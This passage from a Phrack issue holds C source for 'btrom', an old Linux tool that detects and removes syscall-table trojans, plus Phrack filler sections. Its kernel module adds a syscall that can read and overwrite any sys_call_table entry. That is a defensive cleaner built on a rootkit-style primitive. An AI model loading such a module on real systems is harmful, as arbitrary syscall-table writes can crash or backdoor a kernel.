"\t btrom 215\n" "\nWarning: Dont put random numbers. Be careful with that!" "\nRecommended: Do `btrom _number_ -v' before a cleaning\n\n" ); exit(-1); } void chequear_argumentos( char *parametros ) { int i,j; i=strlen(parametros); if(parametros[0]!='-') help(); for(j=1;j<i;j++) { switch(parametros[j]) { case 'c': borrar = 1; break; case 'v': quiet = 0; break; default: help(); } } } int main(int argc, char **argv, char **envp ) { unsigned int retval; int clean; int i; printf( "\n\n" "b t r o m b y r i q\n" "v"VERSION"\n"); if(argc <2 || argc >3 ) help(); quiet = 1; borrar = 0 ; if( argc==3) chequear_argumentos(argv[2]); au = au_open(); sm = sm_open(); if(!au && !quiet) printf("Error while opening `asm/unistd.h' in `"ASM_UNISTD"'\n"); if(!sm && !quiet) printf("Error while opening `System.map' in `"SYSTEM_MAP"'\n"); dif_n_s=0; /* __NR_mbtrom number */ i = atoi( argv[1] ); if(!i) help(); /* Chequeo si es BIG_KERNEL o no */ __asm__ volatile ( "int $0x80":"=a" (retval):"0"(i), "b"((long) (0)), "c"((long) (2)), "d"((long) (0))); big_kernel =(retval>BIG_KERNEL?BIG_KERNEL:SMALL_KERNEL); /* Primer recorrida */ clean = primer_recorrida( i ); /* Mensaje del senior btrom */ printf( "\nb t r o m s a y s:\n"); if(dif_n_s>0) { printf( "Your System.map seems to have a problem.\n"); if(dif_n_s<SYSMAP_LIMIT) printf( "Wait. Perhaps this is not a System.map problem,\n" "but something related with the new functions names.\n" ); else printf( "Are you sure that you have a valid System.map ?\n"); if(clean) printf( "Oh no! The problem is the trojan that you have ;-)\n"); } if(!clean) { printf( "You system call table seems to be clean.\n"); if(quiet) printf("If you want to be more sure use the `-v' option\n"); } else { printf( "\nWhat do you want to do with the trojan?\n" "What about cleaning it with `btrom _numero_ -c'?\n" ); } /* Ah borrar los troyanos se ha dicho */ if(borrar && clean) { if(au) fseek(au,0L,SEEK_SET); if(sm) fseek(sm,0L,SEEK_SET); segunda_recorrida( i ); } if(au) fclose(au); if(sm) fclose(sm); return 0; } <--> <++> linenoise/btrom/config.h /* config.h usado por btrom.c y mbtrom.c */ /* Modificar segun los gustos */ /* Numero que uno supone que esta vacio en la sys_call_table */ #define NUMERO_VACIO 215 /* Path al archivo System.map */ /* Si Ud. nunca compilo el kernel tal vez sea /boot/System.map */ /* FIXME: Usar el define del Makefile para no definir esto en 2 partes */ #ifndef SYSTEM_MAP #define SYSTEM_MAP "/usr/src/linux/System.map" #endif /* Hay problemas con old y new. Gralmente no es problema de la System.map */ #define SYSMAP_LIMIT 8 /* Path al archivo asm/unistd.h */ #define ASM_UNISTD "/usr/include/asm/unistd.h" /* Prefijo a buscar en asm/unistd.h*/ #define AU_PREFIX "#define*__NR_*" /* Hasta donde llega el kernel space */ /* FIXME: No se cual es el limite realmente. Igual con esto anda :-) */ #define LIMITE_SYSCALL 0x00300000 /* No modificar */ /* Version del btrom */ #define VERSION "0.3" /* BIG_KERNEL y SMALL_KERNEL*/ #define BIG_KERNEL 0xc0000000 #define SMALL_KERNEL 0x00100000 <--> <++> linenoise/btrom/mbtrom.c /* * modulo del btrom - Borra Trojanos Modulo * 25/11/98 - por Riq * * compile with: * gcc -c -O3 -fomit-frame-pointer mbtrom.c * */ #define MODULE #define __KERNEL__ #include <linux/config.h> #ifdef MODULE #include <linux/module.h> #include <linux/version.h> #else #define MOD_INC_USE_COUNT #define MOD_DEC_USE_COUNT #endif #include <syscall.h> #include <linux/string.h> #include <linux/types.h> #include <linux/fs.h> #include <linux/mm.h> #include <linux/malloc.h> #include <linux/dirent.h> #include <linux/sys.h> #include <linux/linkage.h> #include <asm/segment.h> #include "config.h" #include "sys_null.h" extern void *sys_call_table[]; int __NR_mbtrom; int* funcion( int numero, int modo, unsigned int *address ) { switch(modo){ case 0: return sys_call_table[numero]; break; case 2: return (void *)&sys_call_table; case 1: default: sys_call_table[numero]=address; break; } return (void *)0; } int init_module(void) { __NR_mbtrom = NUMERO_VACIO ; /* Chequea direccion vacia desde NUMERO_VACIO hasta 0 */ while ( __NR_mbtrom!= 0 && sys_call_table[__NR_mbtrom] != 0 && sys_call_table[__NR_mbtrom] != (void *)SYS_NULL ) __NR_mbtrom--; if(!__NR_mbtrom ) { /* Si es 0 me voy */ printk("mbtrom: Oh no\n"); return 1; } sys_call_table[__NR_mbtrom] = (void *) funcion; if( __NR_mbtrom != NUMERO_VACIO ) printk("mbtrom: Mmm...\n"); printk("mbtrom: -> %i <-\n",__NR_mbtrom); return 0; } void cleanup_module(void) { sys_call_table[__NR_mbtrom] = 0; printk("mbtrom: Bye.\n"); } <--> <++> linenoise/btrom/sys_null.awk /sys_ni_syscall/ { print "#define SYS_NULL 0x"$1 } <--> 0x6>------------------------------------------------------------------------- ----[ PDM Phrack Doughnut Movie (PDM) last issue was `Miller's Crossing`. PDM53 recipients: None of you suckers. Go rent it. It's well worth your time. PDM54 Challenge: "I have John Murdock... In mind..." 0x7>------------------------------------------------------------------------- ----[ Super Elite People That REad Phrack (SEPTREP) New addiitons: Ron Rivest, W. Richard Stevens Why they are SEP: One is the `R` in RSA. The other writes TCP/IP bibles. ----[ Current List W. Richard Stevens Ron Rivest ----------------------------------------------------------------------------- ----[ EOF